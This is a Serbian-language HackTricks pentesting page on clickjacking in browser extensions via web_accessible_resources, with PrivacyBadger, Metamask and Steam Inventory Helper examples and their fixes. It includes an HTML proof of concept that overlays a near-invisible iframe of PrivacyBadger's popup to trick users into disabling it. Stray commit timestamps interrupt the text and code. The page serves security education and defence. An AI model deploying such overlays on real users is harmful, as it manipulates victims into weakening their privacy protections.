hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md

128 lines
7.2 KiB
Markdown
Raw Normal View History

# BrowExt - ClickJacking
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
2023-12-31 01:25:17 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Basic Information
Ova stranica će iskoristiti ClickJacking ranjivost u ekstenziji pretraživača.\
2024-02-10 13:11:20 +00:00
Ako ne znate šta je ClickJacking, proverite:
{% content-ref url="../clickjacking.md" %}
[clickjacking.md](../clickjacking.md)
{% endcontent-ref %}
Ekstenzije sadrže datoteku **`manifest.json`** i ta JSON datoteka ima polje `web_accessible_resources`. Evo šta [Chrome dokumentacija](https://developer.chrome.com/extensions/manifest/web\_accessible\_resources) kaže o tome:
> Ovi resursi bi zatim bili dostupni na veb stranici putem URL-a **`chrome-extension://[PACKAGE ID]/[PATH]`**, koji se može generisati pomoću **`extension.getURL method`**. Resursi na beloj listi se isporučuju sa odgovarajućim CORS zaglavljima, tako da su dostupni putem mehanizama kao što je XHR.[1](https://blog.lizzie.io/clickjacking-privacy-badger.html#fn.1)
**`web_accessible_resources`** u ekstenziji pretraživača nisu dostupni samo putem veba; oni takođe funkcionišu sa inherentnim privilegijama ekstenzije. To znači da imaju sposobnost da:
2024-02-06 03:10:38 +00:00
* Promene stanje ekstenzije
* Učitaju dodatne resurse
* Interaguju sa pretraživačem do određene mere
2024-02-06 03:10:38 +00:00
Međutim, ova funkcija predstavlja bezbednosni rizik. Ako resurs unutar **`web_accessible_resources`** ima bilo kakvu značajnu funkcionalnost, napadač bi potencijalno mogao da ugradi ovaj resurs u eksternu veb stranicu. Neoprezni korisnici koji posete ovu stranicu mogli bi nenamerno aktivirati ovaj ugrađeni resurs. Takva aktivacija mogla bi dovesti do nepredviđenih posledica, u zavisnosti od dozvola i mogućnosti resursa ekstenzije.
## PrivacyBadger Example
U ekstenziji PrivacyBadger, identifikovana je ranjivost povezana sa `skin/` direktorijumom koji je proglašen kao `web_accessible_resources` na sledeći način (Proverite originalni [blog post](https://blog.lizzie.io/clickjacking-privacy-badger.html)):
```json
"web_accessible_resources": [
2024-02-10 13:11:20 +00:00
"skin/*",
"icons/*"
]
```
Ova konfiguracija je dovela do potencijalnog bezbednosnog problema. Konkretno, `skin/popup.html` datoteka, koja se prikazuje prilikom interakcije sa ikonom PrivacyBadger u pretraživaču, mogla bi biti ugrađena unutar `iframe`. Ova ugradnja bi mogla biti iskorišćena da prevari korisnike da nenamerno kliknu na "Onemogući PrivacyBadger za ovu veb stranicu". Takva akcija bi kompromitovala privatnost korisnika onemogućavanjem zaštite PrivacyBadger i potencijalno izložila korisnika povećanom praćenju. Vizuelna demonstracija ovog eksploata može se pogledati u ClickJacking video primeru koji je dostupan na [**https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm**](https://blog.lizzie.io/clickjacking-privacy-badger/badger-fade.webm).
Da bi se rešila ova ranjivost, implementirano je jednostavno rešenje: uklanjanje `/skin/*` sa liste `web_accessible_resources`. Ova promena je efikasno smanjila rizik osiguravajući da sadržaj direktorijuma `skin/` ne može biti pristupljen ili manipulisan putem resursa dostupnih na mreži.
Rešenje je bilo jednostavno: **ukloniti `/skin/*` iz `web_accessible_resources`**.
### PoC
```html
2024-02-06 03:10:38 +00:00
<!--https://blog.lizzie.io/clickjacking-privacy-badger.html-->
<style>
iframe {
2024-02-10 13:11:20 +00:00
width: 430px;
height: 300px;
opacity: 0.01;
float: top;
position: absolute;
}
#stuff {
2024-02-10 13:11:20 +00:00
float: top;
position: absolute;
}
button {
2024-02-10 13:11:20 +00:00
float: top;
position: absolute;
top: 168px;
left: 100px;
}
</style>
<div id="stuff">
2024-02-10 13:11:20 +00:00
<h1>
Click the button
</h1>
<button id="button">
click me
</button>
</div>
<iframe src="chrome-extension://ablpimhddhnaldgkfbpafchflffallca/skin/popup.html">
</iframe>
```
## Metamask Primer
A [**blog post about a ClickJacking in metamask can be found here**](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9). U ovom slučaju, Metamask je ispravio ranjivost proverom da li je protokol koji se koristi za pristup **`https:`** ili **`http:`** (ne **`chrome:`** na primer):
<figure><img src="../../.gitbook/assets/image (21).png" alt=""><figcaption></figcaption></figure>
**Još jedan ClickJacking ispravljen** u Metamask ekstenziji bio je taj što su korisnici mogli da **Click to whitelist** kada je stranica bila sumnjiva da je phishing zbog `“web_accessible_resources”: [“inpage.js”, “phishing.html”]`. Kako je ta stranica bila ranjiva na Clickjacking, napadač je mogao da je zloupotrebi prikazujući nešto normalno kako bi naterao žrtvu da klikne da je stavi na belu listu bez da primeti, a zatim se vraćajući na phishing stranicu koja će biti stavljena na belu listu.
## Steam Inventory Helper Primer
Proverite sledeću stranicu da biste videli kako je **XSS** u ekstenziji pretraživača povezan sa **ClickJacking** ranjivošću:
{% content-ref url="browext-xss-example.md" %}
[browext-xss-example.md](browext-xss-example.md)
{% endcontent-ref %}
2024-02-10 13:11:20 +00:00
## Reference
* [https://blog.lizzie.io/clickjacking-privacy-badger.html](https://blog.lizzie.io/clickjacking-privacy-badger.html)
2024-02-06 03:10:38 +00:00
* [https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9](https://slowmist.medium.com/metamask-clickjacking-vulnerability-analysis-f3e7c22ff4d9)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}